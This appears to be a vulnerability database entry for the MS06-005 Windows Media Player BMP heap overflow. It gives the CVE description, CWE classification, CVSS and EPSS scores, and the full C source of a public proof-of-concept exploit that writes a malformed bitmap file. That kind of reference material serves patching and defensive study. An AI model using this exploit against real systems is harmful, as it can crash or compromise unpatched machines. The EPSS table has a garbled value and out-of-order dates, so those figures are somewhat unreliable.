CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Heap-based buffer overflow in the bitmap processing routine in Microsoft Windows Media Player 7.1 on Windows 2000 SP4, Media Player 9 on Windows 2000 SP4 and XP SP1, and Media Player 10 on XP SP1 and SP2 allows remote attackers to execute arbitrary code via a crafted bitmap (.BMP) file that specifies a size of 0 but contains additional data.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
63.98%
–
–
2023-03-12
–
–
–
96.8%
–
2023-04-16
–
–
–
96.76%
–
2023-05-21
–
–
–
96.67%
–
2023-07-16
–
–
–
96.71%
–
2023-08-27
–
–
–
96.61%
–
2023-10-22
–
–
–
96.55%
–
2023-12-10
–
–
–
96.55%
–
2024-01-07
–
–
–
96.57%
–
2024-06-02
–
–
–
96.57%
–
2024-06-02
–
–
–
96.57%
–
2024-06-09
–
–
–
95.72%
–
2024-11-24
–
–
–
95.72%
–
2024-12-22
–
–
–
95.31%
–
2025-01-26
–
–
–
94.71%
–
2025-01-19
–
–
–
95.31%
–
2025-01-25
–
–
–
94.71%
–
2025-03-18
–
–
–
–
73.9%
2025-03-18
–
–
–
–
73.9,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
/*
* For Remote Exploration (hint):
* http://www.spyinstructors.com/atmaca/research/wmp_remote_poc.asx
*/
/*
*
* Windows Media Player BMP Heap Overflow (MS06-005)
* Bug discovered by eEye - http://www.eeye.com/html/research/advisories/AD20060214.html
* Exploit coded by ATmaCA
* Web: http://www.spyinstructors.com && http://www.atmacasoft.com
* E-Mail: atmaca@icqmail.com
* Credit to Kozan
*
*/
/*
*
* Systems Affected:
* Microsoft Windows Media Player 7.1 through 10
*
* Windows NT 4.0
* Windows 98 / ME
* Windows 2000 SP4
* Windows XP SP1 / SP2
* Windows 2003
*
*
*/
/*
*
* In this vulnerability,payload is loaded to different places in memory each time.
* but some time is very easy to call our shell code :
* http://www.spyinstructors.com/atmaca/research/wmp.JPG
* but some times not =) because of ,no shell this time
*
*/
/*
*
* Microsoft has released a patch for this vulnerability.
* The patch is available at:
* http://www.microsoft.com/technet/security/bulletin/ms06-005.mspx
*
*/
#include <windows.h>
#include <stdio.h>
#define BITMAP_FILE_SIZE 0xA8D2
#define BITMAP_FILE_NAME "crafted.bmp"
#pragma pack( push )
#pragma pack( 1 )
// bitmap file format - http://atlc.sourceforge.net/bmp.html
//File information header provides general information about the file
typedef struct _BitmapFileHeader {
WORD bfType;
DWORD bfSize;
WORD bfReserved1;
WORD bfReserved2;
DWORD bfOffBits;
} BMPFHEADER;
//Bitmap information header provides information specific to the image data
typedef struct _BitmapInfoHeader{
DWORD biSize;
LONG biWidth;
LONG biHeight;
WORD biPlanes;
WORD biBitCount;
DWORD biCompression;
DWORD biSizeImage;
LONG biXPelsPerMeter;
LONG biYPelsPerMeter;
DWORD biClrUsed;
DWORD biClrImportant;
} BMPIHEADER;
#pragma pack( pop )
int main(void)
{
FILE *File;
BMPFHEADER *bmp_fheader;
BMPIHEADER *bmp_iheader;
char *pszBuffer;
printf("\nWindows Media Player BMP Heap Overflow (MS06-005)");
printf("\nBug discovered by eEye");
printf("\nExploit coded by ATmaCA");
printf("\nWeb: http://www.spyinstructors.com && http://www.atmacasoft.com");
printf("\nE-Mail: atmaca@icqmail.com");
printf("\nCredit to Kozan");
if ( (File = fopen(BITMAP_FILE_NAME,"w+b")) == NULL ) {
printf("\n [E:] fopen()");
exit(1);
}
bmp_fheader=(BMPFHEADER*)malloc(sizeof(BMPFHEADER));
bmp_iheader=(BMPIHEADER*)malloc(sizeof(BMPIHEADER));
pszBuffer = (char*)malloc(BITMAP_FILE_SIZE);
memset(pszBuffer,0x41,BITMAP_FILE_SIZE);
bmp_fheader->bfType = 0x4D42; // "BM"
bmp_fheader->bfSize = BITMAP_FILE_SIZE;
bmp_fheader->bfReserved1 = 0x00;
bmp_fheader->bfReserved2 = 0x00;
// eEye - MAGIC
// Antiviruses will get the signature from here!!!
bmp_fheader->bfOffBits = 0x00; //( sizeof(BMPFHEADER) + sizeof(BMPIHEADER) );
bmp_iheader->biSize = 0x28;
bmp_iheader->biWidth = 0x91;
bmp_iheader->biHeight = 0x63;
bmp_iheader->biPlanes = 0x01;
bmp_iheader->biBitCount = 0x18;
bmp_iheader->biCompression = 0x00;
bmp_iheader->biSizeImage = 0xA89C;
bmp_iheader->biXPelsPerMeter = 0x00;
bmp_iheader->biYPelsPerMeter = 0x00;
bmp_iheader->biClrUsed = 0x00;
bmp_iheader->biClrImportant = 0x00;
memcpy(pszBuffer,bmp_fheader,sizeof(BMPFHEADER));
memcpy(pszBuffer+sizeof(BMPFHEADER),bmp_iheader,sizeof(BMPIHEADER));
fwrite(pszBuffer, BITMAP_FILE_SIZE-1, 1,File);
fwrite("\x00", 1,1, File); //Terminator
fclose(File);
printf("\n\n" BITMAP_FILE_NAME" has been created in the current directory.\n");
return 1;
}
// milw0rm.com [2006-02-15]